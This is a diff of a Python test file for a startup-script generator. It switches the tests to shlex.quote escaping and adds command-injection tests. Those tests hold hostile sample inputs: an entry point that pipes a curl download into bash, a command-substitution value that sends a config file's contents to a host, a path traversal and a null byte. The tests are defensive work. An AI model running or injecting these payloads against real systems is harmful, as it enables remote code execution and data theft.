@@ -74,8 +74,8 @@ def test_generate_script_content_nodejs_with_env(self):
7474 result = generate_script_content (runtime , entry_point , additional_env )
7575
7676 expected = """#!/bin/bash
77- export NODE_ENV=" production"
78- export PORT=" 3000"
77+ export NODE_ENV=production
78+ export PORT=3000
7979
8080# Start the application
8181exec node server.js
@@ -104,8 +104,8 @@ def test_generate_script_content_python_with_env(self):
104104 result = generate_script_content (runtime , entry_point , additional_env )
105105
106106 expected = """#!/bin/bash
107- export PYTHONPATH=" /app"
108- export DEBUG=" true"
107+ export PYTHONPATH=/app
108+ export DEBUG=true
109109
110110# Start the application
111111exec python main.py
@@ -274,10 +274,10 @@ async def test_generate_startup_script_with_env_vars(self):
274274
275275 assert result == 'bootstrap'
276276
277- # Verify script content includes environment variables
277+ # Verify script content includes environment variables (shlex.quote format)
278278 written_content = '' .join (call .args [0 ] for call in mock_file ().write .call_args_list )
279- assert 'export NODE_ENV=" production" ' in written_content
280- assert 'export PORT=" 8080" ' in written_content
279+ assert 'export NODE_ENV=production' in written_content
280+ assert 'export PORT=8080' in written_content
281281
282282 @pytest .mark .asyncio
283283 async def test_generate_startup_script_entry_point_not_found (self ):
@@ -369,11 +369,11 @@ def test_generate_script_content_environment_variable_escaping(self):
369369
370370 result = generate_script_content (runtime , entry_point , additional_env )
371371
372- # All values should be wrapped in double quotes
373- assert 'export SIMPLE_VAR=" value" ' in result
374- assert ' export VAR_WITH_QUOTES=" value with "quotes""' in result
375- assert ' export VAR_WITH_SPACES=" value with spaces"' in result
376- assert ' export VAR_WITH_SPECIAL=" value$with&special*chars"' in result
372+ # shlex.quote() wraps simple values without quotes, and complex values in single quotes
373+ assert 'export SIMPLE_VAR=value' in result
374+ assert " export VAR_WITH_QUOTES=' value with \ " quotes\" '" in result
375+ assert " export VAR_WITH_SPACES=' value with spaces'" in result
376+ assert " export VAR_WITH_SPECIAL=' value$with&special*chars'" in result
377377
378378 @pytest .mark .asyncio
379379 async def test_generate_startup_script_file_write_error (self ):
@@ -408,3 +408,155 @@ async def test_generate_startup_script_chmod_error(self):
408408 ):
409409 with pytest .raises (OSError , match = 'Permission denied' ):
410410 await generate_startup_script (runtime , entry_point , built_artifacts_path )
411+
412+ """Security tests for command injection vulnerabilities."""
413+
414+ @pytest .mark .asyncio
415+ async def test_entry_point_command_injection_blocked (self ):
416+ """Test that entry_point with command injection attempts is rejected."""
417+ runtime = 'nodejs18.x'
418+ entry_point = 'app.js; curl http://example.com/script.sh | bash'
419+ built_artifacts_path = '/dir/artifacts'
420+
421+ with patch ('os.path.exists' , return_value = True ):
422+ with pytest .raises (ValueError , match = 'Entry point contains invalid characters' ):
423+ await generate_startup_script (runtime , entry_point , built_artifacts_path )
424+
425+ @pytest .mark .asyncio
426+ async def test_entry_point_path_traversal_blocked (self ):
427+ """Test that path traversal in entry_point is rejected."""
428+ runtime = 'nodejs18.x'
429+ entry_point = '../../../system/config'
430+ built_artifacts_path = '/dir/artifacts'
431+
432+ with patch ('os.path.exists' , return_value = True ):
433+ with pytest .raises (ValueError , match = '(Entry point contains invalid characters|Path traversal detected)' ):
434+ await generate_startup_script (runtime , entry_point , built_artifacts_path )
435+
436+ @pytest .mark .asyncio
437+ async def test_env_variable_command_substitution_escaped (self ):
438+ """Test that command substitution in environment variables is properly escaped."""
439+ runtime = 'nodejs18.x'
440+ entry_point = 'app.js'
441+ built_artifacts_path = '/dir/artifacts'
442+ additional_env = {
443+ 'DB_URL' : '$(curl example.com/data?query=$(cat /path/to/config))'
444+ }
445+
446+ mock_file = mock_open ()
447+ mock_stat_result = MagicMock ()
448+ mock_stat_result .st_mode = 0o644
449+
450+ with (
451+ patch ('os.path.exists' , return_value = True ),
452+ patch ('os.path.realpath' , side_effect = lambda x : x ),
453+ patch ('builtins.open' , mock_file ),
454+ patch ('os.stat' , return_value = mock_stat_result ),
455+ patch ('os.chmod' ),
456+ ):
457+ await generate_startup_script (
458+ runtime , entry_point , built_artifacts_path , additional_env = additional_env
459+ )
460+
461+ written_content = '' .join (call .args [0 ] for call in mock_file ().write .call_args_list )
462+ # Single quotes prevent command substitution in bash
463+ assert "'$(curl example.com/data?query=$(cat /path/to/config))'" in written_content
464+ # Ensure it's not in double quotes (which would allow execution)
465+ assert '"$(curl example.com/data?query=$(cat /path/to/config))"' not in written_content
466+
467+ @pytest .mark .asyncio
468+ async def test_env_variable_invalid_key_rejected (self ):
469+ """Test that environment variable keys with invalid characters are rejected."""
470+ runtime = 'nodejs18.x'
471+ entry_point = 'app.js'
472+ built_artifacts_path = '/dir/artifacts'
473+ additional_env = {
474+ 'INVALID-KEY' : 'value' # Hyphens not allowed in POSIX env var names
475+ }
476+
477+ with (
478+ patch ('os.path.exists' , return_value = True ),
479+ patch ('os.path.realpath' , side_effect = lambda x : x ),
480+ ):
481+ with pytest .raises (ValueError , match = 'Environment variable key must start with a letter' ):
482+ await generate_startup_script (
483+ runtime , entry_point , built_artifacts_path , additional_env = additional_env
484+ )
485+
486+ @pytest .mark .asyncio
487+ async def test_env_variable_null_byte_rejected (self ):
488+ """Test that environment variable values with null bytes are rejected."""
489+ runtime = 'nodejs18.x'
490+ entry_point = 'app.js'
491+ built_artifacts_path = '/dir/artifacts'
492+ additional_env = {
493+ 'DB_URL' : 'value\x00 malicious'
494+ }
495+
496+ with (
497+ patch ('os.path.exists' , return_value = True ),
498+ patch ('os.path.realpath' , side_effect = lambda x : x ),
499+ ):
500+ with pytest .raises (ValueError , match = 'Environment variable value contains null bytes' ):
501+ await generate_startup_script (
502+ runtime , entry_point , built_artifacts_path , additional_env = additional_env
503+ )
504+
505+ @pytest .mark .asyncio
506+ async def test_valid_entry_point_accepted (self ):
507+ """Test that valid entry_point values are accepted."""
508+ runtime = 'nodejs18.x'
509+ entry_points = [
510+ 'app.js' ,
511+ 'src/app.js' ,
512+ 'dist/server.js' ,
513+ 'app-server.js' ,
514+ 'app_server.js' ,
515+ './app.js' ,
516+ ]
517+ built_artifacts_path = '/dir/artifacts'
518+
519+ mock_file = mock_open ()
520+ mock_stat_result = MagicMock ()
521+ mock_stat_result .st_mode = 0o644
522+
523+ for entry_point in entry_points :
524+ with (
525+ patch ('os.path.exists' , return_value = True ),
526+ patch ('builtins.open' , mock_file ),
527+ patch ('os.stat' , return_value = mock_stat_result ),
528+ patch ('os.chmod' ),
529+ patch ('os.path.realpath' , side_effect = lambda x : x ),
530+ ):
531+ result = await generate_startup_script (runtime , entry_point , built_artifacts_path )
532+ assert result == 'bootstrap'
533+
534+ @pytest .mark .asyncio
535+ async def test_valid_env_variables_accepted (self ):
536+ """Test that valid environment variables are accepted."""
537+ runtime = 'nodejs18.x'
538+ entry_point = 'app.js'
539+ built_artifacts_path = '/dir/artifacts'
540+ additional_env = {
541+ 'NODE_ENV' : 'production' ,
542+ 'PORT' : '3000' ,
543+ 'DB_HOST' : 'localhost' ,
544+ '_PRIVATE_VAR' : 'value' ,
545+ 'VAR123' : 'value' ,
546+ }
547+
548+ mock_file = mock_open ()
549+ mock_stat_result = MagicMock ()
550+ mock_stat_result .st_mode = 0o644
551+
552+ with (
553+ patch ('os.path.exists' , return_value = True ),
554+ patch ('os.path.realpath' , side_effect = lambda x : x ),
555+ patch ('builtins.open' , mock_file ),
556+ patch ('os.stat' , return_value = mock_stat_result ),
557+ patch ('os.chmod' ),
558+ ):
559+ result = await generate_startup_script (
560+ runtime , entry_point , built_artifacts_path , additional_env = additional_env
561+ )
562+ assert result == 'bootstrap'
0 commit comments